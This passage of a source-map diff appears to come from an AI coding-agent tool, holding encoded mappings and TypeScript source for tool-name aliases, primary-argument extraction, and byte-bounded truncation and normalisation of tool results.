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","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/tools/aliases.ts","../src/tools/primary-arg.ts","../src/tools/result.ts","../src/tools/tool-capabilities.ts","../src/tools/file-provenance.ts"],"sourcesContent":["/** Legacy tool-name aliases, resolved to their canonical PascalCase names. */\r\nexport const TOOL_ALIASES: Record<string, string> = {\r\n read_file: 'Read',\r\n write_file: 'Write',\r\n edit_file: 'Edit',\r\n multi_edit: 'MultiEdit',\r\n apply_patch: 'ApplyPatch',\r\n glob: 'Glob',\r\n glob_files: 'Glob',\r\n grep: 'Grep',\r\n bash: 'Bash',\r\n // Legacy snake_case git tool names — backward compatible.\r\n git_status: 'GitStatus',\r\n git_diff: 'GitDiff',\r\n git_log: 'GitLog',\r\n git_commit: 'GitCommit',\r\n git_branch: 'GitBranch',\r\n};\r\n\r\n/** Map a (possibly aliased) tool name to its canonical name for display / matching. */\r\nexport function canonicalToolName(name: string): string {\r\n return TOOL_ALIASES[name] ?? name;\r\n}\r\n","/**\r\n * Extract the primary argument from a tool call for display and rule matching.\r\n *\r\n * Priority order follows Claude Code's convention:\r\n * command → shell_id → shellId → taskId → task_id → filePath → file_path\r\n * → notebook_path → pattern → path → agent → skill → message → url → query → subject\r\n * → old_string → first string key.\r\n *\r\n * `pattern` outranks `path`: for search tools (Grep) the pattern is the\r\n * rule-matching identity, while `path` is only an optional scope.\r\n *\r\n * For command-type args, only the first line is returned.\r\n */\r\nexport function getPrimaryArg(args: Record<string, unknown>): string {\r\n if (typeof args.command === 'string') return args.command.split('\\n')[0];\r\n if (typeof args.shell_id === 'string') return args.shell_id;\r\n if (typeof args.shellId === 'string') return args.shellId;\r\n if (typeof args.taskId === 'string') return args.taskId;\r\n if (typeof args.task_id === 'string') return args.task_id;\r\n if (typeof args.filePath === 'string') return args.filePath;\r\n if (typeof args.file_path === 'string') return args.file_path;\r\n if (typeof args.patch === 'string') {\r\n const match = args.patch.match(/^\\*\\*\\* (?:Update|Add|Delete) File: (.+)$/m);\r\n if (match) return match[1].trim();\r\n }\r\n if (typeof args.notebook_path === 'string') return args.notebook_path;\r\n if (typeof args.pattern === 'string') return args.pattern;\r\n if (typeof args.path === 'string') return args.path;\r\n if (typeof args.agent === 'string') return args.agent;\r\n if (typeof args.skill === 'string') return args.skill;\r\n if (typeof args.message === 'string') return args.message;\r\n if (typeof args.url === 'string') return args.url;\r\n if (typeof args.query === 'string') return args.query;\r\n if (typeof args.subject === 'string') return args.subject;\r\n if (typeof args.old_string === 'string') return args.old_string.slice(0, 60);\r\n const keys = Object.keys(args);\r\n if (keys.length > 0) {\r\n const v = args[keys[0]];\r\n return typeof v === 'string' ? v : '';\r\n }\r\n return '';\r\n}\r\n","import { mkdir, writeFile } from 'node:fs/promises';\r\nimport { dirname, join } from 'node:path';\r\nimport type {\r\n ToolResult,\r\n ToolResultArtifacts,\r\n ToolResultError,\r\n ToolResultPresentation,\r\n ToolResultStatus,\r\n} from '../types/tools.js';\r\nimport { canonicalToolName } from './aliases.js';\r\nimport { getPrimaryArg } from './primary-arg.js';\r\nimport { isFileMutatingTool } from './tool-capabilities.js';\r\nimport { resolveBookHome } from '../book-home.js';\r\n\r\nexport const TOOL_RESULT_MAX_BYTES = 50 * 1024;\r\nconst TOOL_OUTPUT_DIRECTORY = join(resolveBookHome(), 'tool-output');\r\n\r\ninterface ToolResultOptions<TData> {\r\n toolCallId?: string;\r\n data?: TData;\r\n presentation?: Partial<ToolResultPresentation>;\r\n artifacts?: ToolResultArtifacts;\r\n pagination?: ToolResult['pagination'];\r\n}\r\n\r\ninterface LegacyToolResult {\r\n version?: 2;\r\n toolCallId: string;\r\n status?: ToolResultStatus;\r\n content?: string;\r\n output?: string;\r\n success?: boolean;\r\n data?: unknown;\r\n error?: string;\r\n structuredError?: ToolResultError;\r\n presentation?: ToolResultPresentation;\r\n metrics?: ToolResult['metrics'];\r\n artifacts?: ToolResultArtifacts;\r\n durationMs?: number;\r\n retryAttempt?: number;\r\n fileMutation?: ToolResultArtifacts['fileMutation'];\r\n fileMutations?: ToolResultArtifacts['fileMutations'];\r\n fileObservations?: ToolResultArtifacts['fileObservations'];\r\n eventRef?: string;\r\n outputPath?: string;\r\n pagination?: ToolResult['pagination'];\r\n}\r\n\r\nfunction presentationFor(\r\n content: string,\r\n override?: Partial<ToolResultPresentation>,\r\n): ToolResultPresentation {\r\n return {\r\n kind: override?.kind ?? 'text',\r\n summary: override?.summary ?? content.split('\\n')[0]?.trim() ?? '',\r\n details: override?.details ?? content,\r\n metadata: override?.metadata,\r\n target: override?.target,\r\n };\r\n}\r\n\r\nexport function toolSuccess<TData = unknown>(\r\n content: string,\r\n options: ToolResultOptions<TData> = {},\r\n): ToolResult<TData> {\r\n return {\r\n version: 2,\r\n toolCallId: options.toolCallId ?? '',\r\n status: 'success',\r\n content,\r\n data: options.data,\r\n presentation: options.presentation ? presentationFor(content, options.presentation) : undefined,\r\n artifacts: options.artifacts,\r\n pagination: options.pagination,\r\n };\r\n}\r\n\r\nexport function toolFailure(\r\n message: string,\r\n options: ToolResultOptions<unknown> & {\r\n code?: string;\r\n status?: Exclude<ToolResultStatus, 'success'>;\r\n retryable?: boolean;\r\n remediation?: string;\r\n details?: Record<string, unknown>;\r\n content?: string;\r\n } = {},\r\n): ToolResult {\r\n const error: ToolResultError = {\r\n code: options.code ?? 'tool_error',\r\n message,\r\n retryable: options.retryable ?? false,\r\n remediation: options.remediation,\r\n details: options.details,\r\n };\r\n const content = options.content ?? '';\r\n return {\r\n version: 2,\r\n toolCallId: options.toolCallId ?? '',\r\n status: options.status ?? 'error',\r\n content,\r\n data: options.data,\r\n structuredError: error,\r\n presentation: options.presentation\r\n ? presentationFor(message, {\r\n summary: message.split('\\n')[0]?.trim(),\r\n details: message,\r\n ...options.presentation,\r\n })\r\n : undefined,\r\n artifacts: options.artifacts,\r\n pagination: options.pagination,\r\n };\r\n}\r\n\r\nexport function toolResultSucceeded(result: ToolResult): boolean {\r\n return result.status === 'success';\r\n}\r\n\r\nexport function toolResultErrorMessage(result: ToolResult): string | undefined {\r\n return result.structuredError?.message;\r\n}\r\n\r\nfunction rawToolResultModelContent(result: ToolResult): string {\r\n const content = result.content;\r\n if (toolResultSucceeded(result)) return content;\r\n const remediation = result.structuredError?.remediation;\r\n const fix = remediation ? `\\nFix: ${remediation}` : '';\r\n const detail = content ? `\\n${content}` : '';\r\n return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? 'tool failed'}${fix}${detail}`;\r\n}\r\n\r\nexport function toolResultModelContent(result: ToolResult): string {\r\n const raw = rawToolResultModelContent(result);\r\n if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;\r\n // Reached only by callers that skipped `boundToolResultOutput`, which is\r\n // where an agent-loop result is clipped. Both places keep the tail for a\r\n // killed command, through the same helper.\r\n if (result.status === 'timed_out') {\r\n return tailPreview(\r\n rawToolResultModelContent({ ...result, content: '' }),\r\n result.content,\r\n result.artifacts?.outputPath,\r\n TOOL_RESULT_MAX_BYTES,\r\n );\r\n }\r\n return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);\r\n}\r\n\r\nfunction utf8Prefix(text: string, maxBytes: number): string {\r\n if (maxBytes <= 0) return '';\r\n const bytes = Buffer.from(text);\r\n if (bytes.byteLength <= maxBytes) return text;\r\n return bytes\r\n .subarray(0, maxBytes)\r\n .toString('utf8')\r\n .replace(/\\uFFFD$/u, '');\r\n}\r\n\r\nfunction utf8Suffix(text: string, maxBytes: number): string {\r\n if (maxBytes <= 0) return '';\r\n const bytes = Buffer.from(text);\r\n if (bytes.byteLength <= maxBytes) return text;\r\n // Advance past any continuation bytes so the tail starts on a character\r\n // boundary. Cutting inside a 4-byte sequence otherwise strands three\r\n // continuation bytes, each of which decodes to its own replacement char.\r\n let start = bytes.byteLength - maxBytes;\r\n while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start++;\r\n return bytes.subarray(start).toString('utf8');\r\n}\r\n\r\n/**\r\n * A killed command is judged on its most recent output — the step it was on\r\n * when the deadline hit — so truncation keeps the tail rather than the head.\r\n * Head-clipping a timed-out build returns install and compile noise and drops\r\n * the progress the timeout report exists to deliver. `head` is composed first\r\n * so the error line and its remediation always survive.\r\n */\r\nfunction tailPreview(\r\n head: string,\r\n content: string,\r\n outputPath: string | undefined,\r\n maxBytes: number,\r\n): string {\r\n const notice = outputPath\r\n ? `\\n[Earlier output truncated at ${maxBytes} bytes. Full output: ${outputPath}]\\n`\r\n : `\\n[Earlier output truncated at ${maxBytes} bytes. Full output unavailable.]\\n`;\r\n const noticeBytes = Buffer.byteLength(notice);\r\n // A head longer than the whole budget still has to be bounded; the caller\r\n // treats this return value as final and does no further clipping.\r\n if (Buffer.byteLength(head) + noticeBytes >= maxBytes) {\r\n return `${utf8Prefix(head, Math.max(0, maxBytes - noticeBytes)).trimEnd()}${notice}`;\r\n }\r\n const budget = maxBytes - Buffer.byteLength(head) - noticeBytes;\r\n return `${head}${notice}${utf8Suffix(content, budget).trimStart()}`;\r\n}\r\n\r\nfunction clippedOutputPreview(\r\n content: string,\r\n outputPath: string | undefined,\r\n maxBytes: number,\r\n): string {\r\n const notice = outputPath\r\n ? `\\n\\n[Output truncated at ${maxBytes} bytes. Full output: ${outputPath}]`\r\n : `\\n\\n[Output truncated at ${maxBytes} bytes. Full output unavailable.]`;\r\n const previewBudget = Math.max(0, maxBytes - Buffer.byteLength(notice));\r\n return `${utf8Prefix(content, previewBudget).trimEnd()}${notice}`;\r\n}\r\n\r\n/**\r\n * Bound every provider-facing tool result at the execution boundary. Complete output is stored in\r\n * Book's user-local data directory when possible, never in the tracked workspace.\r\n */\r\nexport async function boundToolResultOutput(\r\n input: ToolResult,\r\n _workspaceRoot: string,\r\n maxBytes = TOOL_RESULT_MAX_BYTES,\r\n artifactRoot = TOOL_OUTPUT_DIRECTORY,\r\n): Promise<ToolResult> {\r\n const result = normalizeToolResult(input);\r\n const modelContent = rawToolResultModelContent(result);\r\n const modelContentBytes = Buffer.byteLength(modelContent);\r\n const contentBytes = Buffer.byteLength(result.content);\r\n const details = result.presentation?.details;\r\n const detailsBytes = details === undefined ? 0 : Buffer.byteLength(details);\r\n if (modelContentBytes <= maxBytes && detailsBytes <= maxBytes) return result;\r\n\r\n let outputPath = result.artifacts?.outputPath;\r\n if (!outputPath) {\r\n const outputFile = join(artifactRoot, `${crypto.randomUUID()}.txt`);\r\n try {\r\n await mkdir(dirname(outputFile), { recursive: true });\r\n await writeFile(\r\n outputFile,\r\n detailsBytes > modelContentBytes && details ? details : modelContent,\r\n 'utf8',\r\n );\r\n outputPath = outputFile.replace(/\\\\/g, '/');\r\n } catch {\r\n // Clipping must still succeed in read-only or otherwise restricted environments.\r\n }\r\n }\r\n\r\n const modelOverflow = modelContentBytes > maxBytes;\r\n const content = toolResultSucceeded(result)\r\n ? contentBytes > maxBytes\r\n ? clippedOutputPreview(result.content, outputPath, maxBytes)\r\n : result.content\r\n : modelOverflow\r\n ? ''\r\n : result.content;\r\n const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\r\n const errorSource = `${toolResultErrorMessage(result) ?? 'tool failed'}${result.content ? `\\n${result.content}` : ''}`;\r\n // Reserve room for the \"\\nFix: <remediation>\" line appended at render time so\r\n // the remediation survives instead of being re-clipped off the tail.\r\n const fixReserve = result.structuredError?.remediation\r\n ? Buffer.byteLength(`\\nFix: ${result.structuredError.remediation}`)\r\n : 0;\r\n const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);\r\n const structuredError = result.structuredError\r\n ? {\r\n ...result.structuredError,\r\n message: modelOverflow\r\n ? // A killed command's output is folded into the message here, so this\r\n // is the clip that decides what the model reads. Keeping the head\r\n // hands back install and compile noise and drops the step the\r\n // command died on, which is the whole point of the report.\r\n result.status === 'timed_out'\r\n ? tailPreview(result.structuredError.message, result.content, outputPath, errorBudget)\r\n : clippedOutputPreview(errorSource, outputPath, errorBudget)\r\n : result.structuredError.message,\r\n }\r\n : result.structuredError;\r\n const clippedDetails = details\r\n ? detailsBytes > maxBytes\r\n ? // The transcript row reads the same way the model does: for a killed\r\n // command that means the tail it died on, not the head it started with.\r\n result.status === 'timed_out'\r\n ? tailPreview('', details, outputPath, maxBytes)\r\n : clippedOutputPreview(details, outputPath, maxBytes)\r\n : details\r\n : toolResultSucceeded(result)\r\n ? content\r\n : structuredError?.message;\r\n\r\n return {\r\n ...result,\r\n content,\r\n structuredError,\r\n presentation: result.presentation\r\n ? { ...result.presentation, details: clippedDetails }\r\n : result.presentation,\r\n artifacts: outputPath ? { ...result.artifacts, outputPath } : result.artifacts,\r\n pagination: {\r\n ...result.pagination,\r\n truncated: true,\r\n omittedBytes: Math.max(\r\n result.pagination?.omittedBytes ?? 0,\r\n Math.max(modelContentBytes, contentBytes, detailsBytes) - maxBytes,\r\n ),\r\n },\r\n };\r\n}\r\n\r\nexport function replaceToolResult(\r\n result: ToolResult,\r\n patch: {\r\n status?: ToolResultStatus;\r\n content?: string;\r\n error?: ToolResultError;\r\n presentation?: Partial<ToolResultPresentation>;\r\n },\r\n): ToolResult {\r\n const status = patch.status ?? result.status;\r\n const content = patch.content ?? result.content;\r\n return {\r\n ...result,\r\n status,\r\n content,\r\n structuredError: patch.error ?? (status === 'success' ? undefined : result.structuredError),\r\n presentation:\r\n result.presentation || patch.presentation\r\n ? presentationFor(content, {\r\n ...result.presentation,\r\n ...patch.presentation,\r\n })\r\n : undefined,\r\n };\r\n}\r\n\r\n/** Upgrade persisted pre-V2 results while keeping the runtime and SDK contract V2-only. */\r\nexport function normalizeToolResult(result: ToolResult | LegacyToolResult): ToolResult {\r\n const legacy = result as LegacyToolResult;\r\n const legacySuccess = legacy.success;\r\n const legacyError = typeof legacy.error === 'string' ? legacy.error : undefined;\r\n const status: ToolResultStatus = result.status\r\n ? result.status\r\n : legacySuccess\r\n ? 'success'\r\n : legacyError?.startsWith('SKIPPED')\r\n ? 'blocked'\r\n : legacyError?.startsWith('CANCELLED')\r\n ? 'cancelled'\r\n : legacyError?.startsWith('Tool timeout')\r\n ? 'timed_out'\r\n : 'error';\r\n const content = result.content ?? legacy.output ?? '';\r\n const error =\r\n status === 'success'\r\n ? undefined\r\n : {\r\n ...(result.structuredError ?? {}),\r\n code: result.structuredError?.code ?? (status === 'blocked' ? 'blocked' : status),\r\n message: legacyError ?? result.structuredError?.message ?? 'Tool failed',\r\n retryable: result.structuredError?.retryable ?? status === 'timed_out',\r\n };\r\n const artifacts: ToolResultArtifacts | undefined =\r\n result.artifacts ??\r\n (legacy.fileMutation ||\r\n legacy.fileMutations ||\r\n legacy.fileObservations ||\r\n legacy.eventRef ||\r\n legacy.outputPath\r\n ? {\r\n fileMutation: legacy.fileMutation,\r\n fileMutations: legacy.fileMutations,\r\n fileObservations: legacy.fileObservations,\r\n eventRef: legacy.eventRef,\r\n outputPath: legacy.outputPath,\r\n }\r\n : undefined);\r\n const metrics =\r\n result.metrics ??\r\n (legacy.durationMs !== undefined || legacy.retryAttempt !== undefined\r\n ? { durationMs: legacy.durationMs, retryAttempt: legacy.retryAttempt }\r\n : undefined);\r\n return 